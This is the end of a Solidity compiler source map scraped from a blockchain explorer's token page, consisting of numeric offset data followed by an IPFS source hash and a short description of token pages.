;29036:11;29070:6;29065:3;29058:19;29110:4;29105:3;29101:14;29086:29;;29048:73;;;;:::o;29127:305::-;29167:3;29186:20;29204:1;29186:20;:::i;:::-;29181:25;;29220:20;29238:1;29220:20;:::i;:::-;29215:25;;29374:1;29306:66;29302:74;29299:1;29296:81;29293:2;;;29380:18;;:::i;:::-;29293:2;29424:1;29421;29417:9;29410:16;;29171:261;;;;:::o;29438:237::-;29476:3;29495:18;29511:1;29495:18;:::i;:::-;29490:23;;29527:18;29543:1;29527:18;:::i;:::-;29522:23;;29617:1;29611:4;29607:12;29604:1;29601:19;29598:2;;;29623:18;;:::i;:::-;29598:2;29667:1;29664;29660:9;29653:16;;29480:195;;;;:::o;29681:185::-;29721:1;29738:20;29756:1;29738:20;:::i;:::-;29733:25;;29772:20;29790:1;29772:20;:::i;:::-;29767:25;;29811:1;29801:2;;29816:18;;:::i;:::-;29801:2;29858:1;29855;29851:9;29846:14;;29723:143;;;;:::o;29872:348::-;29912:7;29935:20;29953:1;29935:20;:::i;:::-;29930:25;;29969:20;29987:1;29969:20;:::i;:::-;29964:25;;30157:1;30089:66;30085:74;30082:1;30079:81;30074:1;30067:9;30060:17;30056:105;30053:2;;;30164:18;;:::i;:::-;30053:2;30212:1;30209;30205:9;30194:20;;29920:300;;;;:::o;30226:191::-;30266:4;30286:20;30304:1;30286:20;:::i;:::-;30281:25;;30320:20;30338:1;30320:20;:::i;:::-;30315:25;;30359:1;30356;30353:8;30350:2;;;30364:18;;:::i;:::-;30350:2;30409:1;30406;30402:9;30394:17;;30271:146;;;;:::o;30423:96::-;30460:7;30489:24;30507:5;30489:24;:::i;:::-;30478:35;;30468:51;;;:::o;30525:90::-;30559:7;30602:5;30595:13;30588:21;30577:32;;30567:48;;;:::o;30621:77::-;30658:7;30687:5;30676:16;;30666:32;;;:::o;30704:126::-;30741:7;30781:42;30774:5;30770:54;30759:65;;30749:81;;;:::o;30836:77::-;30873:7;30902:5;30891:16;;30881:32;;;:::o;30919:86::-;30954:7;30994:4;30987:5;30983:16;30972:27;;30962:43;;;:::o;31011:178::-;31087:9;31120:63;31177:5;31120:63;:::i;:::-;31107:76;;31097:92;;;:::o;31195:139::-;31271:9;31304:24;31322:5;31304:24;:::i;:::-;31291:37;;31281:53;;;:::o;31340:121::-;31398:9;31431:24;31449:5;31431:24;:::i;:::-;31418:37;;31408:53;;;:::o;31467:307::-;31535:1;31545:113;31559:6;31556:1;31553:13;31545:113;;;31644:1;31639:3;31635:11;31629:18;31625:1;31620:3;31616:11;31609:39;31581:2;31578:1;31574:10;31569:15;;31545:113;;;31676:6;31673:1;31670:13;31667:2;;;31756:1;31747:6;31742:3;31738:16;31731:27;31667:2;31516:258;;;;:::o;31780:233::-;31819:3;31842:24;31860:5;31842:24;:::i;:::-;31833:33;;31888:66;31881:5;31878:77;31875:2;;;31958:18;;:::i;:::-;31875:2;32005:1;31998:5;31994:13;31987:20;;31823:190;;;:::o;32019:180::-;32067:77;32064:1;32057:88;32164:4;32161:1;32154:15;32188:4;32185:1;32178:15;32205:180;32253:77;32250:1;32243:88;32350:4;32347:1;32340:15;32374:4;32371:1;32364:15;32391:102;32432:6;32483:2;32479:7;32474:2;32467:5;32463:14;32459:28;32449:38;;32439:54;;;:::o;32499:151::-;32639:3;32635:1;32627:6;32623:14;32616:27;32605:45;:::o;32656:222::-;32796:34;32792:1;32784:6;32780:14;32773:58;32865:5;32860:2;32852:6;32848:15;32841:30;32762:116;:::o;32884:221::-;33024:34;33020:1;33012:6;33008:14;33001:58;33093:4;33088:2;33080:6;33076:15;33069:29;32990:115;:::o;33111:171::-;33251:23;33247:1;33239:6;33235:14;33228:47;33217:65;:::o;33288:225::-;33428:34;33424:1;33416:6;33412:14;33405:58;33497:8;33492:2;33484:6;33480:15;33473:33;33394:119;:::o;33519:221::-;33659:34;33655:1;33647:6;33643:14;33636:58;33728:4;33723:2;33715:6;33711:15;33704:29;33625:115;:::o;33746:225::-;33886:34;33882:1;33874:6;33870:14;33863:58;33955:8;33950:2;33942:6;33938:15;33931:33;33852:119;:::o;33977:181::-;34117:33;34113:1;34105:6;34101:14;34094:57;34083:75;:::o;34164:235::-;34304:34;34300:1;34292:6;34288:14;34281:58;34373:18;34368:2;34360:6;34356:15;34349:43;34270:129;:::o;34405:178::-;34545:30;34541:1;34533:6;34529:14;34522:54;34511:72;:::o;34589:165::-;34729:17;34725:1;34717:6;34713:14;34706:41;34695:59;:::o;34760:227::-;34900:34;34896:1;34888:6;34884:14;34877:58;34969:10;34964:2;34956:6;34952:15;34945:35;34866:121;:::o;34993:182::-;35133:34;35129:1;35121:6;35117:14;35110:58;35099:76;:::o;35181:175::-;35321:27;35317:1;35309:6;35305:14;35298:51;35287:69;:::o;35362:224::-;35502:34;35498:1;35490:6;35486:14;35479:58;35571:7;35566:2;35558:6;35554:15;35547:32;35468:118;:::o;35592:223::-;35732:34;35728:1;35720:6;35716:14;35709:58;35801:6;35796:2;35788:6;35784:15;35777:31;35698:117;:::o;35821:221::-;35961:34;35957:1;35949:6;35945:14;35938:58;36030:4;36025:2;36017:6;36013:15;36006:29;35927:115;:::o;36048:223::-;36188:34;36184:1;36176:6;36172:14;36165:58;36257:6;36252:2;36244:6;36240:15;36233:31;36154:117;:::o;36277:178::-;36417:30;36413:1;36405:6;36401:14;36394:54;36383:72;:::o;36461:224::-;36601:34;36597:1;36589:6;36585:14;36578:58;36670:7;36665:2;36657:6;36653:15;36646:32;36567:118;:::o;36691:122::-;36764:24;36782:5;36764:24;:::i;:::-;36757:5;36754:35;36744:2;;36803:1;36800;36793:12;36744:2;36734:79;:::o;36819:116::-;36889:21;36904:5;36889:21;:::i;:::-;36882:5;36879:32;36869:2;;36925:1;36922;36915:12;36869:2;36859:76;:::o;36941:122::-;37014:24;37032:5;37014:24;:::i;:::-;37007:5;37004:35;36994:2;;37053:1;37050;37043:12;36994:2;36984:79;:::o;37069:122::-;37142:24;37160:5;37142:24;:::i;:::-;37135:5;37132:35;37122:2;;37181:1;37178;37171:12;37122:2;37112:79;:::o;37197:118::-;37268:22;37284:5;37268:22;:::i;:::-;37261:5;37258:33;37248:2;;37305:1;37302;37295:12;37248:2;37238:77;:::o

Swarm Source

ipfs://5df95b7d187aba8cd278b70ee883a4482f6a969ba052fc4691ccc27d62cfc8db

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.